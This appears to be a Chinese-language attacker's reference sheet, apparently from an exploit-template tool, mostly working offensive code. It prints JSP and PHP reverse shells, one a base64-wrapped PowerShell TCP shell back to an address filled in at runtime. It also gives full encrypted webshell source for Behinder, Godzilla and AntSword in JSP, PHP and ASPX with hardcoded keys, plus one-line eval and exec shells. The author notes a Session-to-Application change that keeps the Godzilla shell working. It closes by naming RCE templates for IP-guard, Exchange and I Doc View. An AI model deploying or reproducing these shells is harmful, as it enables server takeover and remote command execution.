反弹 shell
ASPX
1 | <%@ Page Language="C#" %> |
JSP
1 | <% import="java.lang.*,java.util.*,java.io.*,java.net.*"%><%class StreamConnector extends Thread{InputStream is;OutputStream os;StreamConnector(InputStream is,OutputStream os){this.is=is;this.os=os;}public void run(){BufferedReader in=null;BufferedWriter out=null;try{in=new BufferedReader(new InputStreamReader(this.is));out=new BufferedWriter(new OutputStreamWriter(this.os));char buffer[]=new char[8192];int length;while((length=in.read(buffer,0,buffer.length))>0){out.write(buffer,0,length);out.flush();}}catch(Exception e){}try{if(in!=null)in.close();if(out!=null)out.close();}catch(Exception e){}}}try{Socket socket=new Socket("` + addr + `",` + rp + `);Process process=Runtime.getRuntime().exec("cmd.exe");(new StreamConnector(process.getInputStream(),socket.getOutputStream())).start();(new StreamConnector(socket.getInputStream(),process.getOutputStream())).start();}catch(Exception e){}%> |
PHP
1 | phpCode = `system(base64_decode("` + base64EncodeG73gbY37RF("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('"+addr+"',"+rp+");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"") + `"));` |
webshell (AES_BASE64)
冰蝎
jsp
改了导入的类
1 | <% import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.nio.charset.StandardCharsets"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(null,b,0,b.length);}}%><%if(request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(k.getBytes(StandardCharsets.UTF_8),"AES"));byte[] decodedBytes=Base64.getDecoder().decode(request.getReader().readLine());new U(this.getClass().getClassLoader()).g(c.doFinal(decodedBytes)).newInstance().equals(pageContext);} %> |
原始
1 | <% import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> |
PHP
1 | @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION["k"]=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded("openssl")){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++){$post[$i]=$post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post,"AES128",$key);}$arr=explode("|",$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p){eval($p."");}}@call_user_func(new C(),$params); |
ASPX
1 | <%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this); %> |
哥斯拉
ASPX
原始的马遇见的问题是：服务器正常上传，正常解析200，但是链接失败
持久化问题，将 session 改成 Application
1 | <%@ Page Language="C#"%><%try { string key = "3c6e0b8a9c15224a"; string pass = "pass"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(Context.Request[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Application["payload"] == null) { Application["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = ((System.Reflection.Assembly)Application["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16)); } } catch (System.Exception) { }%> |
在C#中，
Session和Application都是ASP.NET中的对象，用于在Web应用程序中存储和共享数据，但它们的使用方式和作用有所不同。
Session:
Session对象用于在用户会话之间存储和检索数据。每个用户在访问应用程序时都有一个唯一的会话ID，而Session对象允许您在用户的整个会话期间存储和检索特定于该用户的数据。Session通常用于存储用户特定的信息，例如登录状态、购物车内容等。- 通过
HttpContext.Current.Session可以访问Session对象。示例：
2
3
4
5
6
// 存储数据到Session
HttpContext.Current.Session["UserName"] = "JohnDoe";
// 从Session中检索数据
string userName = (string)HttpContext.Current.Session["UserName"];Application:
Application对象用于在整个应用程序域（Application Domain）中存储和检索数据。应用程序域是一个隔离的执行环境，对于整个应用程序只有一个实例。Application对象的数据在所有用户之间共享，因此需要小心使用，以避免并发问题和竞态条件。Application通常用于存储全局配置信息、计数器等对整个应用程序有意义的数据。示例：
2
3
4
5
6
// 存储数据到Application
Application["TotalVisitors"] = 1000;
// 从Application中检索数据
int totalVisitors = (int)Application["TotalVisitors"];总的来说，
Session用于在用户会话之间存储和检索数据，而Application用于在整个应用程序中存储和检索数据。在使用它们时，要考虑到数据的范围和共享的需求，以确保安全和有效地管理数据。
Session和Application与持久化的关系主要体现在它们的生命周期和数据保存的持久性方面。
- Session:
Session对象通常存储在服务器的内存中，它的生命周期与用户的会话期间相同。当用户关闭浏览器或会话过期时，Session数据通常被销毁。- 如果需要在会话之间保持
Session数据的状态，可以选择使用某种形式的持久化机制，如将Session数据存储在数据库中或使用其他外部存储。- Application:
Application对象的数据也存储在服务器的内存中，但其生命周期更长，与应用程序域的生命周期相同。它在应用程序启动时被创建，在应用程序关闭时被销毁。- 与
Session不同，Application数据的持久性更高，但仍然是限定在应用程序域的生命周期内的，不会跨越多个应用程序域。在需要更长时间保留数据的情况下，可以考虑使用更持久的存储机制，例如数据库、文件系统等。这确保了数据在应用程序重新启动时仍然可用。
总体而言，
Session和Application对象本身在内存中存储数据，但开发人员需要根据具体需求决定是否需要使用持久化机制来确保数据的长期存储和可访问性。
1 | <%@ Page Language=\"C#\" %><%= \"Hello, World!\" %> |
1 | <%@ Page Language=\"C#\"%><%@ Import Namespace=\"System.IO\"%><% Response.Write(\"hello\"); %> |
PHP
1 | @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $pass="pass"; $payloadName="payload"; $key="3c6e0b8a9c15224a"; if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key);}}} |
1 | echo "hello"; |
JSP
1 | <%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%> |
1 | <% out.println("hello");%> |
蚁剑
ASPX
1 | <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%> |
PHP
1 | eval($_POST['pass']); |
JSP
1 | <% Runtime.getRuntime().exec(request.getParameter("pass"));%> |
漏洞模版
PHP
IP-guard WebServer view.php 远程命令执行漏洞
IP-guard WebServer view.php remote command execution vulnerability
CVD-2023-3208
ASPX
Microsoft Exchange Server Remote Command Execution Vulnerability (CVE-2021-26857/CVE-2021-26858)
Microsoft Exchange Server 远程命令执行漏洞（CVE-2021-26857/CVE-2021-26858）
CVD-2023-0787
JSP
I Doc View cmd.json remote command execution vulnerability
I Doc View cmd.json 远程命令执行漏洞
CVD-2023-3273
